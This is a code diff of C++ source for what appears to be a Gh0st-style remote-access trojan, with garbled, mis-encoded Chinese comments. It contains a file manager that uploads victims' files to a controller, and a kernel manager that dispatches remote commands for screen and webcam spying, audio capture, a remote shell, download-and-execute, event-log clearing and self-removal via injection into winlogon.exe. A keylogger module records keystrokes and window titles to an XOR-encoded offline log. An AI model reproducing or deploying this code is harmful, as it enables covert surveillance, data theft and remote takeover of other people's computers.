// 1 Ϊ<><CEAA><EFBFBD>ݰ<EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD>ռ<EFBFBD>ֽ<EFBFBD>,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ
dwOffset = 1;
/*
<09>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD> 1
<09>ļ<EFBFBD><C4BC><EFBFBD> strlen(filename) + 1 ('\0')
<09>ļ<EFBFBD><C4BC><EFBFBD>С 4
*/
do
{
// <20><>̬<EFBFBD><CCAC>չ<EFBFBD><D5B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (dwOffset > (nBufferSize - MAX_PATH * 2))
{
nBufferSize += MAX_PATH * 2;
lpList = (BYTE *)LocalReAlloc(lpList, nBufferSize, LMEM_ZEROINIT|LMEM_MOVEABLE);
}
pszFileName = FindFileData.cFileName;
if (strcmp(pszFileName, ".") == 0 || strcmp(pszFileName, "..") == 0)
continue;
// <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD> 1 <20>ֽ<EFBFBD>
*(lpList + dwOffset) = FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY;
dwOffset++;
// <20>ļ<EFBFBD><C4BC><EFBFBD> lstrlen(pszFileName) + 1 <20>ֽ<EFBFBD>
nLen = lstrlen(pszFileName);
memcpy(lpList + dwOffset, pszFileName, nLen);
dwOffset += nLen;
*(lpList + dwOffset) = 0;
dwOffset++;
// <20>ļ<EFBFBD><C4BC><EFBFBD>С 8 <20>ֽ<EFBFBD>
memcpy(lpList + dwOffset, &FindFileData.nFileSizeHigh, sizeof(DWORD));
memcpy(lpList + dwOffset + 4, &FindFileData.nFileSizeLow, sizeof(DWORD));
dwOffset += 8;
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1> 8 <20>ֽ<EFBFBD>
memcpy(lpList + dwOffset, &FindFileData.ftLastWriteTime, sizeof(FILETIME));
dwOffset += 8;
} while(FindNextFile(hFile, &FindFileData));
nRet = Send(lpList, dwOffset);
LocalFree(lpList);
FindClose(hFile);
return nRet;
}
bool CFileManager::DeleteDirectory(LPCTSTR lpszDirectory)
{
WIN32_FIND_DATA wfd;
char lpszFilter[MAX_PATH];
wsprintf(lpszFilter, "%s\\*.*", lpszDirectory);
HANDLE hFind = FindFirstFile(lpszFilter, &wfd);
if (hFind == INVALID_HANDLE_VALUE) // <20><><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD>ҵ<EFBFBD><D2B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>
return FALSE;
do
{
if (wfd.cFileName[0] != '.')
{
if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
{
char strDirectory[MAX_PATH];
wsprintf(strDirectory, "%s\\%s", lpszDirectory, wfd.cFileName);
DeleteDirectory(strDirectory);
}
else
{
char strFile[MAX_PATH];
wsprintf(strFile, "%s\\%s", lpszDirectory, wfd.cFileName);
DeleteFile(strFile);
}
}
} while (FindNextFile(hFind, &wfd));
FindClose(hFind); // <20>رղ<D8B1><D5B2>Ҿ<EFBFBD><D2BE><EFBFBD>
if(!RemoveDirectory(lpszDirectory))
{
return FALSE;
}
return true;
}
UINT CFileManager::SendFileSize(LPCTSTR lpszFileName)
{
UINT nRet = 0;
DWORD dwSizeHigh;
DWORD dwSizeLow;
// 1 <20>ֽ<EFBFBD>token, 8<>ֽڴ<D6BD>С, <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>, '\0'
HANDLE hFile;
// <20><><EFBFBD>浱ǰ<E6B5B1><C7B0><EFBFBD>ڲ<EFBFBD><DAB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
memset(m_strCurrentProcessFileName, 0, sizeof(m_strCurrentProcessFileName));
strcpy(m_strCurrentProcessFileName, lpszFileName);
hFile = CreateFile(lpszFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
if (hFile == INVALID_HANDLE_VALUE)
return FALSE;
dwSizeLow = GetFileSize(hFile, &dwSizeHigh);
CloseHandle(hFile);
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
int nPacketSize = lstrlen(lpszFileName) + 10;
BYTE *bPacket = (BYTE *)LocalAlloc(LPTR, nPacketSize);
memset(bPacket, 0, nPacketSize);
bPacket[0] = TOKEN_FILE_SIZE;
FILESIZE *pFileSize = (FILESIZE *)(bPacket + 1);
pFileSize->dwSizeHigh = dwSizeHigh;
pFileSize->dwSizeLow = dwSizeLow;
memcpy(bPacket + 9, lpszFileName, lstrlen(lpszFileName) + 1);
nRet = Send(bPacket, nPacketSize);
LocalFree(bPacket);
return nRet;
}
UINT CFileManager::SendFileData(LPBYTE lpBuffer)
{
UINT nRet;
FILESIZE *pFileSize;
char *lpFileName;
pFileSize = (FILESIZE *)lpBuffer;
lpFileName = m_strCurrentProcessFileName;
// Զ<><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>
if (pFileSize->dwSizeLow == -1)
{
UploadNext();
return 0;
}
HANDLE hFile;
hFile = CreateFile(lpFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
if (hFile == INVALID_HANDLE_VALUE)
return -1;
SetFilePointer(hFile, pFileSize->dwSizeLow, (long *)&(pFileSize->dwSizeHigh), FILE_BEGIN);
int nHeadLength = 9; // 1 + 4 + 4<><34><EFBFBD>ݰ<EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD>С
DWORD nNumberOfBytesToRead = MAX_SEND_BUFFER - nHeadLength;
DWORD nNumberOfBytesRead = 0;
LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, MAX_SEND_BUFFER);
// Token, <20><>С<EFBFBD><D0A1>ƫ<EFBFBD>ƣ<EFBFBD><C6A3>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
lpPacket[0] = TOKEN_FILE_DATA;
memcpy(lpPacket + 1, pFileSize, sizeof(FILESIZE));
ReadFile(hFile, lpPacket + nHeadLength, nNumberOfBytesToRead, &nNumberOfBytesRead, NULL);
CloseHandle(hFile);
if (nNumberOfBytesRead > 0)
{
int nPacketSize = nNumberOfBytesRead + nHeadLength;
nRet = Send(lpPacket, nPacketSize);
}
else
{
UploadNext();
}
LocalFree(lpPacket);
return nRet;
}
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>ļ<EFBFBD>
void CFileManager::UploadNext()
{
list <string>::iterator it = m_UploadList.begin();
// ɾ<><C9BE>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
m_UploadList.erase(it);
// <20><><EFBFBD><EFBFBD><EFBFBD>ϴ<EFBFBD><CFB4><EFBFBD><EFBFBD><EFBFBD>
if(m_UploadList.empty())
{
SendToken(TOKEN_TRANSFER_FINISH);
}
else
{
// <20>ϴ<EFBFBD><CFB4><EFBFBD>һ<EFBFBD><D2BB>
it = m_UploadList.begin();
SendFileSize((*it).c_str());
}
}
int CFileManager::SendToken(BYTE bToken)
{
return Send(&bToken, 1);
}
bool CFileManager::UploadToRemote(LPBYTE lpBuffer)
{
if (lpBuffer[lstrlen((char *)lpBuffer) - 1] == '\\')
{
FixedUploadList((char *)lpBuffer);
if (m_UploadList.empty())
{
StopTransfer();
return true;
}
}
else
{
m_UploadList.push_back((char *)lpBuffer);
}
list <string>::iterator it = m_UploadList.begin();
// <20><><EFBFBD>͵<EFBFBD>һ<EFBFBD><D2BB><EFBFBD>ļ<EFBFBD>
SendFileSize((*it).c_str());
return true;
}
bool CFileManager::FixedUploadList(LPCTSTR lpPathName)
{
WIN32_FIND_DATA wfd;
char lpszFilter[MAX_PATH];
char *lpszSlash = NULL;
memset(lpszFilter, 0, sizeof(lpszFilter));
if (lpPathName[lstrlen(lpPathName) - 1] != '\\')
lpszSlash = "\\";
else
lpszSlash = "";
wsprintf(lpszFilter, "%s%s*.*", lpPathName, lpszSlash);
HANDLE hFind = FindFirstFile(lpszFilter, &wfd);
if (hFind == INVALID_HANDLE_VALUE) // <20><><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD>ҵ<EFBFBD><D2B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>
return false;
do
{
if (wfd.cFileName[0] != '.')
{
if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
{
char strDirectory[MAX_PATH];
wsprintf(strDirectory, "%s%s%s", lpPathName, lpszSlash, wfd.cFileName);
FixedUploadList(strDirectory);
}
else
{
char strFile[MAX_PATH];
wsprintf(strFile, "%s%s%s", lpPathName, lpszSlash, wfd.cFileName);
m_UploadList.push_back(strFile);
}
}
} while (FindNextFile(hFind, &wfd));
FindClose(hFind); // <20>رղ<D8B1><D5B2>Ҿ<EFBFBD><D2BE><EFBFBD>
return true;
}
void CFileManager::StopTransfer()
{
if (!m_UploadList.empty())
m_UploadList.clear();
SendToken(TOKEN_TRANSFER_FINISH);
}
void CFileManager::CreateLocalRecvFile(LPBYTE lpBuffer)
{
FILESIZE *pFileSize = (FILESIZE *)lpBuffer;
// <20><><EFBFBD>浱ǰ<E6B5B1><C7B0><EFBFBD>ڲ<EFBFBD><DAB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
memset(m_strCurrentProcessFileName, 0, sizeof(m_strCurrentProcessFileName));
strcpy(m_strCurrentProcessFileName, (char *)lpBuffer + 8);
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
m_nCurrentProcessFileLength = (pFileSize->dwSizeHigh * (MAXDWORD + 1)) + pFileSize->dwSizeLow;
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ¼
MakeSureDirectoryPathExists(m_strCurrentProcessFileName);
WIN32_FIND_DATA FindFileData;
HANDLE hFind = FindFirstFile(m_strCurrentProcessFileName, &FindFileData);
if (hFind != INVALID_HANDLE_VALUE
&& m_nTransferMode != TRANSFER_MODE_OVERWRITE_ALL
&& m_nTransferMode != TRANSFER_MODE_ADDITION_ALL
&& m_nTransferMode != TRANSFER_MODE_JUMP_ALL
)
{
SendToken(TOKEN_GET_TRANSFER_MODE);
}
else
{
GetFileData();
}
FindClose(hFind);
}
void CFileManager::GetFileData()
{
int nTransferMode;
switch (m_nTransferMode)
{
case TRANSFER_MODE_OVERWRITE_ALL:
nTransferMode = TRANSFER_MODE_OVERWRITE;
break;
case TRANSFER_MODE_ADDITION_ALL:
nTransferMode = TRANSFER_MODE_ADDITION;
break;
case TRANSFER_MODE_JUMP_ALL:
nTransferMode = TRANSFER_MODE_JUMP;
break;
default:
nTransferMode = m_nTransferMode;
}
WIN32_FIND_DATA FindFileData;
HANDLE hFind = FindFirstFile(m_strCurrentProcessFileName, &FindFileData);
// 1<>ֽ<EFBFBD>Token,<2C><><EFBFBD>ֽ<EFBFBD>ƫ<EFBFBD>Ƹ<EFBFBD><C6B8><EFBFBD>λ<EFBFBD><CEBB><EFBFBD><EFBFBD><EFBFBD>ֽ<EFBFBD>ƫ<EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD>λ
BYTE bToken[9];
DWORD dwCreationDisposition; // <20>ļ<EFBFBD><C4BC>򿪷<EFBFBD>ʽ
memset(bToken, 0, sizeof(bToken));
bToken[0] = TOKEN_DATA_CONTINUE;
// <20>ļ<EFBFBD><C4BC>Ѿ<EFBFBD><D1BE><EFBFBD><EFBFBD><EFBFBD>
if (hFind != INVALID_HANDLE_VALUE)
{
// <20><>ʾ<EFBFBD><CABE>ʲô
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (nTransferMode == TRANSFER_MODE_ADDITION)
{
memcpy(bToken + 1, &FindFileData.nFileSizeHigh, 4);
memcpy(bToken + 5, &FindFileData.nFileSizeLow, 4);
dwCreationDisposition = OPEN_EXISTING;
}
// <20><><EFBFBD><EFBFBD>
else if (nTransferMode == TRANSFER_MODE_OVERWRITE)
{
// ƫ<><C6AB><EFBFBD><EFBFBD>0
memset(bToken + 1, 0, 8);
// <20><><EFBFBD>´<EFBFBD><C2B4><EFBFBD>
dwCreationDisposition = CREATE_ALWAYS;
}
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>
else if (nTransferMode == TRANSFER_MODE_JUMP)
{
DWORD dwOffset = -1;
memcpy(bToken + 5, &dwOffset, 4);
dwCreationDisposition = OPEN_EXISTING;
}
}
else
{
// ƫ<><C6AB><EFBFBD><EFBFBD>0 <20><>ʵ<EFBFBD><CAB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><E4BBB0>^_^
memset(bToken + 1, 0, 8);
// <20><><EFBFBD>´<EFBFBD><C2B4><EFBFBD>
dwCreationDisposition = CREATE_ALWAYS;
}
FindClose(hFind);
HANDLE hFile =
CreateFile
(
m_strCurrentProcessFileName,
GENERIC_WRITE,
FILE_SHARE_WRITE,
NULL,
dwCreationDisposition,
FILE_ATTRIBUTE_NORMAL,
0
);
// <20><>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (hFile == INVALID_HANDLE_VALUE)
{
m_nCurrentProcessFileLength = 0;
return;
}
CloseHandle(hFile);
Send(bToken, sizeof(bToken));
}
void CFileManager::WriteLocalRecvFile(LPBYTE lpBuffer, UINT nSize)
{
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
BYTE *pData;
DWORD dwBytesToWrite;
DWORD dwBytesWrite;
int nHeadLength = 9; // 1 + 4 + 4 <20><><EFBFBD>ݰ<EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD>С<EFBFBD><D0A1>Ϊ<EFBFBD>̶<EFBFBD><CCB6><EFBFBD>9
FILESIZE *pFileSize;
// <20>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ݵ<EFBFBD>ƫ<EFBFBD><C6AB>
pData = lpBuffer + 8;
pFileSize = (FILESIZE *)lpBuffer;
// <20>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC>е<EFBFBD>ƫ<EFBFBD><C6AB>
LONG dwOffsetHigh = pFileSize->dwSizeHigh;
LONG dwOffsetLow = pFileSize->dwSizeLow;
dwBytesToWrite = nSize - 8;
HANDLE hFile =
CreateFile
(
m_strCurrentProcessFileName,
GENERIC_WRITE,
FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
0
);
SetFilePointer(hFile, dwOffsetLow, &dwOffsetHigh, FILE_BEGIN);
int nRet = 0;
// д<><D0B4><EFBFBD>ļ<EFBFBD>
nRet = WriteFile
(
hFile,
pData,
dwBytesToWrite,
&dwBytesWrite,
NULL
);
// if (nRet <= 0)
// printf("<22>ļ<EFBFBD>д<EFBFBD><D0B4>ʧ<EFBFBD><CAA7>");
CloseHandle(hFile);
// Ϊ<>˱Ƚϣ<C8BD><CFA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
BYTE bToken[9];
bToken[0] = TOKEN_DATA_CONTINUE;
dwOffsetLow += dwBytesWrite;
memcpy(bToken + 1, &dwOffsetHigh, sizeof(dwOffsetHigh));
memcpy(bToken + 5, &dwOffsetLow, sizeof(dwOffsetLow));
Send(bToken, sizeof(bToken));
}
void CFileManager::SetTransferMode(LPBYTE lpBuffer)
{
memcpy(&m_nTransferMode, lpBuffer, sizeof(m_nTransferMode));
GetFileData();
}
void CFileManager::CreateFolder(LPBYTE lpBuffer)
{
MakeSureDirectoryPathExists((char *)lpBuffer);
SendToken(TOKEN_CREATEFOLDER_FINISH);
}
void CFileManager::Rename(LPBYTE lpBuffer)
{
LPCTSTR lpExistingFileName = (char *)lpBuffer;
LPCTSTR lpNewFileName = lpExistingFileName + lstrlen(lpExistingFileName) + 1;
::MoveFile(lpExistingFileName, lpNewFileName);
SendToken(TOKEN_RENAME_FINISH);
}

View File

@@ -0,0 +1,157 @@
// KernelManager.cpp: implementation of the CKernelManager class.
//
//////////////////////////////////////////////////////////////////////
#include "KernelManager.h"
#include "loop.h"
#include "until.h"
#include "inject.h"
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
char CKernelManager::m_strMasterHost[256] = {0};
UINT CKernelManager::m_nMasterPort = 80;
CKernelManager::CKernelManager(CClientSocket *pClient, LPCTSTR lpszServiceName, DWORD dwServiceType, LPCTSTR lpszKillEvent,
LPCTSTR lpszMasterHost, UINT nMasterPort) : CManager(pClient)
{
if (lpszServiceName != NULL)
{
lstrcpy(m_strServiceName, lpszServiceName);
}
if (lpszKillEvent != NULL)
lstrcpy(m_strKillEvent, lpszKillEvent);
if (lpszMasterHost != NULL)
lstrcpy(m_strMasterHost, lpszMasterHost);
m_nMasterPort = nMasterPort;
m_dwServiceType = dwServiceType;
m_nThreadCount = 0;
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӣ<EFBFBD><D3A3><EFBFBD><EFBFBD>ƶ˷<C6B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD>
m_bIsActived = false;
// <20><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>Ӽ<EFBFBD><D3BC>̼<EFBFBD>¼<EFBFBD><C2BC><EFBFBD>߳<EFBFBD>
// <20><><EFBFBD><EFBFBD>HOOK<4F><4B>UNHOOK<4F><4B><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͬһ<CDAC><D2BB><EFBFBD>߳<EFBFBD><DFB3><EFBFBD>
m_hThread[m_nThreadCount++] =
MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_HookKeyboard, NULL, 0, NULL, true);
}
CKernelManager::~CKernelManager()
{
for(int i = 0; i < m_nThreadCount; i++)
{
TerminateThread(m_hThread[i], -1);
CloseHandle(m_hThread[i]);
}
}
//---<2D><><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD><CDB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض˷<D8B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ÿһ<C3BF>ֹ<EFBFBD><D6B9>ܶ<EFBFBD><DCB6><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>̺߳<DFB3><CCBA><EFBFBD><EFBFBD><EFBFBD>Ӧת<D3A6><D7AA>Loop_FileManager
// <20><><EFBFBD>ϼ<EFBFBD><CFBC><EFBFBD>
void CKernelManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
switch (lpBuffer[0])
{
case COMMAND_ACTIVED:
InterlockedExchange((LONG *)&m_bIsActived, true);
break;
case COMMAND_LIST_DRIVE: // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_FileManager,
(LPVOID)m_pClient->m_Socket, 0, NULL, false);
break;
case COMMAND_SCREEN_SPY: // <20><>Ļ<EFBFBD>
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ScreenManager,
(LPVOID)m_pClient->m_Socket, 0, NULL, true);
break;
case COMMAND_WEBCAM: // <20><><EFBFBD><EFBFBD>ͷ
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_VideoManager,
(LPVOID)m_pClient->m_Socket, 0, NULL);
break;
case COMMAND_AUDIO: // <20><><EFBFBD><EFBFBD>ͷ
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_AudioManager,
(LPVOID)m_pClient->m_Socket, 0, NULL);
break;
case COMMAND_SHELL: // Զ<><D4B6>sehll
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ShellManager,
(LPVOID)m_pClient->m_Socket, 0, NULL, true);
break;
case COMMAND_KEYBOARD:
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_KeyboardManager,
(LPVOID)m_pClient->m_Socket, 0, NULL);
break;
case COMMAND_SYSTEM:
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_SystemManager,
(LPVOID)m_pClient->m_Socket, 0, NULL);
break;
case COMMAND_DOWN_EXEC: // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_DownManager,
(LPVOID)(lpBuffer + 1), 0, NULL, true);
Sleep(100); // <20><><EFBFBD>ݲ<EFBFBD><DDB2><EFBFBD><EFBFBD><EFBFBD>
break;
case COMMAND_OPEN_URL_SHOW: // <20><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ҳ
OpenURL((LPCTSTR)(lpBuffer + 1), SW_SHOWNORMAL);
break;
case COMMAND_OPEN_URL_HIDE: // <20><><EFBFBD>ش<EFBFBD><D8B4><EFBFBD><EFBFBD><EFBFBD>ҳ
OpenURL((LPCTSTR)(lpBuffer + 1), SW_HIDE);
break;
case COMMAND_REMOVE: // ж<><D0B6>,
UnInstallService();
break;
case COMMAND_CLEAN_EVENT: // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>־
CleanEvent();
break;
case COMMAND_SESSION:
CSystemManager::ShutdownWindows(lpBuffer[1]);
break;
case COMMAND_RENAME_REMARK: // <20>ı<EFBFBD>ע
SetHostID(m_strServiceName, (LPCTSTR)(lpBuffer + 1));
break;
case COMMAND_UPDATE_SERVER: // <20><><EFBFBD>·<EFBFBD><C2B7><EFBFBD><EFBFBD><EFBFBD>
if (UpdateServer((char *)lpBuffer + 1))
UnInstallService();
break;
case COMMAND_REPLAY_HEARTBEAT: // <20>ظ<EFBFBD><D8B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
break;
}
}
void CKernelManager::UnInstallService()
{
char strServiceDll[MAX_PATH];
char strRandomFile[MAX_PATH];
GetSystemDirectory(strServiceDll, sizeof(strServiceDll));
lstrcat(strServiceDll, "\\");
lstrcat(strServiceDll, m_strServiceName);
lstrcat(strServiceDll, "ex.dll");
// װ<>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱɾ<CAB1><C9BE>
wsprintf(strRandomFile, "%d.bak", GetTickCount());
MoveFile(strServiceDll, strRandomFile);
MoveFileEx(strRandomFile, NULL, MOVEFILE_DELAY_UNTIL_REBOOT);
// ɾ<><C9BE><EFBFBD><EFBFBD><EFBFBD>߼<EFBFBD>¼<EFBFBD>ļ<EFBFBD>
char strRecordFile[MAX_PATH];
GetSystemDirectory(strRecordFile, sizeof(strRecordFile));
lstrcat(strRecordFile, "\\syslog.dat");
DeleteFile(strRecordFile);
if (m_dwServiceType != 0x120) // owner<65><72>Զ<EFBFBD><D4B6>ɾ<EFBFBD><C9BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD>ֹͣ<CDA3>Լ<EFBFBD>ɾ<EFBFBD><C9BE><><D4B6><EFBFBD>߳<EFBFBD>ɾ<EFBFBD><C9BE>
{
InjectRemoveService("winlogon.exe", m_strServiceName);
}
else // shared<65><64><EFBFBD>̵ķ<CCB5><C4B7><EFBFBD>,<2C><><EFBFBD><EFBFBD>ɾ<EFBFBD><C9BE><EFBFBD>Լ<EFBFBD>
{
RemoveService(m_strServiceName);
}
// <20><><EFBFBD>в<EFBFBD><D0B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɺ<EFBFBD><C9BA><EFBFBD>֪ͨ<CDA8><D6AA><EFBFBD>߳̿<DFB3><CCBF><EFBFBD><EFBFBD>˳<EFBFBD>
CreateEvent(NULL, true, false, m_strKillEvent);
}
bool CKernelManager::IsActived()
{
return m_bIsActived;
}

View File

@@ -0,0 +1,35 @@
// KernelManager.h: interface for the CKernelManager class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_KERNELMANAGER_H__D38BBAEA_31C6_4C8A_8BF7_BF3E80182EAE__INCLUDED_)
#define AFX_KERNELMANAGER_H__D38BBAEA_31C6_4C8A_8BF7_BF3E80182EAE__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "Manager.h"
//---<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> CManager <20><><EFBFBD>ǵ<EFBFBD>CClientSocket<65><74><EFBFBD>õ<EFBFBD> CManager::OnReceive <20><>ʵ<EFBFBD><CAB5><EFBFBD><EFBFBD><EFBFBD>õľ<C3B5><C4BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>OnReceive <20>鿴OnReceive
class CKernelManager : public CManager
{
public:
CKernelManager(CClientSocket *pClient, LPCTSTR lpszServiceName, DWORD dwServiceType, LPCTSTR lpszKillEvent,
LPCTSTR lpszMasterHost, UINT nMasterPort);
virtual ~CKernelManager();
virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);
char m_strServiceName[256];
char m_strKillEvent[256];
static char m_strMasterHost[256];
static UINT m_nMasterPort;
void UnInstallService();
bool IsActived();
private:
HANDLE m_hThread[10000]; // <20><EFBFBD><E3B9BB><EFBFBD><EFBFBD>
UINT m_nThreadCount;
DWORD m_dwServiceType;
bool m_bIsActived;
};
#endif // !defined(AFX_KERNELMANAGER_H__D38BBAEA_31C6_4C8A_8BF7_BF3E80182EAE__INCLUDED_)

View File

@@ -0,0 +1,314 @@
// KeyboardManager.cpp: implementation of the CKeyboardManager class.
//
//////////////////////////////////////////////////////////////////////
#include "KeyboardManager.h"
#pragma comment(lib, "Imm32.lib")
bool g_bSignalHook = false;
TShared* CKeyboardManager::m_pTShared = NULL;
HANDLE CKeyboardManager::m_hMapping_File = NULL;
HINSTANCE CKeyboardManager::g_hInstance = NULL;
DWORD CKeyboardManager::m_dwLastMsgTime = GetTickCount();
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CKeyboardManager::CKeyboardManager(CClientSocket *pClient) : CManager(pClient)
{
g_bSignalHook = true;
sendStartKeyBoard();
WaitForDialogOpen();
sendOfflineRecord();
int dwOffset = m_pTShared->dwOffset;
while (m_pClient->IsRunning())
{
if (m_pTShared->dwOffset != dwOffset)
{
UINT nSize;
if (m_pTShared->dwOffset < dwOffset)
nSize = m_pTShared->dwOffset;
else
nSize = m_pTShared->dwOffset - dwOffset;
sendKeyBoardData((unsigned char *)&(m_pTShared->chKeyBoard[dwOffset]), nSize);
dwOffset = m_pTShared->dwOffset;
}
Sleep(300);
}
if (!m_pTShared->bIsOffline)
g_bSignalHook = false;
}
CKeyboardManager::~CKeyboardManager()
{
}
void CKeyboardManager::SaveToFile(char *lpBuffer)
{
HANDLE hFile = CreateFile(m_pTShared->strRecordFile, GENERIC_WRITE, FILE_SHARE_WRITE,
NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD dwBytesWrite = 0;
DWORD dwSize = GetFileSize(hFile, NULL);
// <20><><EFBFBD>߼<EFBFBD>¼<EFBFBD><C2BC>С<EFBFBD><D0A1>50M
if (dwSize < 1024 * 1024 * 50)
SetFilePointer(hFile, 0, 0, FILE_END);
// <20><><EFBFBD><EFBFBD>
int nLength = lstrlen(lpBuffer);
LPBYTE lpEncodeBuffer = new BYTE[nLength];
for (int i = 0; i < nLength; i++)
lpEncodeBuffer[i] = lpBuffer[i] ^ XOR_ENCODE_VALUE;
WriteFile(hFile, lpEncodeBuffer, nLength, &dwBytesWrite, NULL);
CloseHandle(hFile);
delete lpEncodeBuffer;
}
void CKeyboardManager::SaveInfo(char *lpBuffer)
{
if (lpBuffer == NULL)
return;
DWORD dwBytes = strlen(lpBuffer);
if((dwBytes < 1) || (dwBytes > SIZE_IMM_BUFFER)) return;
HWND hWnd = GetActiveWindow();
if(hWnd != m_pTShared->hActWnd)
{
m_pTShared->hActWnd = hWnd;
char strCapText[256];
GetWindowText(m_pTShared->hActWnd, strCapText, sizeof(strCapText));
